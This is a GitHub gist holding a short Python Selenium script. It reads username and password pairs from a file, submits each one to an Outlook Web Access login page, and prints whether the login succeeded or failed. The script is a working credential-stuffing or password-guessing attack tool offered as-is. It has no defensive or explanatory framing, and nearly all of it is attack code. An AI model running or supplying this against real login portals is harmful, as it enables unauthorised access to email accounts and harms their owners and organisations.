Skip to content

Instantly share code, notes, and snippets.

@frknozr
Last active May 28, 2018 12:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save frknozr/331da6cf252df01efefbd0c51d567bcb to your computer and use it in GitHub Desktop.
Save frknozr/331da6cf252df01efefbd0c51d567bcb to your computer and use it in GitHub Desktop.
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from time import sleep
options = Options()
#options.add_argument("--headless")
driver = webdriver.Chrome(chrome_options=options,executable_path="chromedriver")
user_pass = "" # space seperated
url = "" # owa url
error_msg = "The user name or password you entered isn't correct. Try entering it again." # eng error message
file = open(user_pass,"r")
for line in file:
line = line.replace("/n","")
tokens = line.split()
driver.get(url)
username_input = driver.find_element_by_id("username")
password_input = driver.find_element_by_id("password")
username_input.clear()
password_input.clear()
username_input.send_keys(tokens[0])
password_input.send_keys(tokens[1])
driver.execute_script("clkLgn()")
if error_msg in driver.page_source:
print(tokens[0] + " " + tokens[1] + " failed")
else:
print(tokens[0] + " " + tokens[1] + " success")
sleep(3)
file.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment